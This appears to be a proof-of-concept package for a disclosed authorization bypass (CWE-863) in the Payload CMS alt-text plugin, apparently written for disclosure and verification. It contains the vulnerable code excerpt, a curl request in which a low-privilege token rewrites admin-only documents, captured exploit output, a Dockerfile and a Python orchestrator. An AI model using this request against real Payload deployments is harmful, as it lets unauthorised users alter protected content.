payload-alt-text-plugin EUVD-2026-78819

const imageDoc = await req.payload.findByID({
  id,
  collection,
  depth: 0,
  // overrideAccess: false is absent → defaults to true
})

await req.payload.update({
  id,
  collection,
  data: {
    alt: result.result.altText,
    keywords: result.result.keywords,
  },
  locale: targetLocale,
  // overrideAccess: false is absent → defaults to true
})

shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called

# Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run
docker run --rm vuln001-poc

curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST http://localhost:3000/api/alt-text-plugin/generate \
  --data '{"collection":"media","id":"doc-001","locale":"en","update":true}'

VULN-001: Alt Text endpoint authorization bypass
  Payload Local API overrideAccess omission in
  generateAltText.ts:31 and :121

[Step 1] Control: non-admin direct update with overrideAccess:false
  PASS: access correctly denied → AccessError

[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
  HTTP status : 200
  Response    : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}

VULNERABILITY CONFIRMED - EXPLOITATION SUCCESSFUL

# Dockerfile for VULN-001 dynamic reproduction
#
# Build context: the parent directory that contains both
#   repo/          (jhb-software/payload-plugins clone)
#   vuln-001/      (this workspace)
#
# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run:    docker run --rm vuln001-poc

FROM node:22-slim

WORKDIR /app
# ---- Copy plugin source files required by the PoC ----
# Only the endpoint under test and its direct dependencies are needed.
# No Payload framework install required: we mock it in the PoC.

COPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts
# ---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts       ./inner_poc.ts
# ---- Install minimal runtime dependencies ----
# zod: schema validation used by the endpoint handler
# tsx:  TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund
# ---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]

#!/usr/bin/env python3
"""
poc.py - VULN-001 Dynamic Reproduction Orchestrator

Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)

This script:
  1. Builds a Docker image containing the real plugin endpoint source.
  2. Runs the container, which calls the endpoint handler with a non-admin user.
  3. Captures stdout/stderr as evidence.
  4. Writes the result to phase2_result.json.

Usage:
  python3 poc.py

Safety:
  - All traffic stays on 127.0.0.1 / localhost inside Docker.
  - No external services are contacted.
  - No live credentials are used.
"""

import json
import os
import subprocess
import sys
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------

THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")

BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ."
RUN_COMMAND = f"docker run --rm {IMAGE_TAG}"
POC_COMMAND = f"python3 poc.py"


def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:
    """Run a subprocess and return (returncode, stdout, stderr)."""
    result = subprocess.run(
        cmd,
        cwd=cwd,
        capture_output=True,
        text=True,
        timeout=timeout,
    )
    return result.returncode, result.stdout, result.stderr


def write_result(passed: bool, verdict: str, reason: str, evidence: str,
                 build_out: str = "", run_out: str = "", failure_detail: str = "") -> None:
    """Write phase2_result.json."""
    data: dict = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_COMMAND,
        "run_command": RUN_COMMAND,
        "poc_command": POC_COMMAND,
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    if failure_detail:
        data["failure_detail"] = failure_detail
    if build_out:
        data["build_output_tail"] = build_out[-2000:]
    if run_out:
        data["run_output"] = run_out
    with open(RESULT_FILE, "w", encoding="utf-8") as fh:
        json.dump(data, fh, indent=2, ensure_ascii=False)
    print(f"\nResult written to: {RESULT_FILE}")


def main() -> int:
# -----------------------------------------------------------------------
# Step 1: Build the Docker image
# -----------------------------------------------------------------------
    print("=" * 60)
    print("VULN-001 Dynamic Reproduction")
    print("=" * 60)
    print()
    print(f"[1/2] Building Docker image: {IMAGE_TAG}")
    print(f"      Context : {BUILD_CONTEXT}")
    print(f"      Command : {BUILD_COMMAND}")
    print()

    rc, build_stdout, build_stderr = run(
        ["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."],
        cwd=BUILD_CONTEXT,
    )

    combined_build = (build_stdout + build_stderr).strip()
    if rc != 0:
        print("ERROR: Docker build failed.")
        print(combined_build[-3000:])
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 - npm install 또는 파일 복사 오류",
            evidence="",
            build_out=combined_build,
            failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}",
        )
        return 1

    print("      Build succeeded.")
    print()
# -----------------------------------------------------------------------
# Step 2: Run the PoC container
# -----------------------------------------------------------------------
    print(f"[2/2] Running PoC container")
    print(f"      Command : {RUN_COMMAND}")
    print()

    rc, run_stdout, run_stderr = run(
        ["docker", "run", "--rm", IMAGE_TAG],
        cwd=BUILD_CONTEXT,
    )

    combined_run = (run_stdout + run_stderr).strip()
    print(combined_run)
    print()
# -----------------------------------------------------------------------
# Step 3: Evaluate the output
# -----------------------------------------------------------------------
    success_marker = "VULNERABILITY CONFIRMED"
    pwned_marker = "PWNED_BY_EXPLOIT"

    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:
# Extract the key evidence block
        lines = combined_run.splitlines()
        evidence_lines = []
        in_block = False
        for line in lines:
            if success_marker in line or pwned_marker in line or "EXPLOITATION" in line:
                in_block = True
            if in_block:
                evidence_lines.append(line)
            if in_block and line.startswith("→"):
                break
        evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]

        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 "
                "admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. "
                "generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 "
                "Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 "
                "컬렉션 레벨 access 함수가 우회됨. "
                "직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공."
            ),
            evidence=evidence,
            run_out=combined_run,
        )
        print("PASS - vulnerability dynamically confirmed.")
        return 0

    else:
        print("FAIL - success marker not found or container exited non-zero.")
        write_result(
            passed=False,
            verdict="FAIL" if rc != 0 else "INCOMPLETE",
            reason=(
                f"컨테이너 종료 코드 {rc}. "
                "성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. "
                "로그를 확인하여 원인 파악 필요."
            ),
            evidence=combined_run[-2000:],
            run_out=combined_run,
            failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}",
        )
        return 1


if __name__ == "__main__":
    sys.exit(main())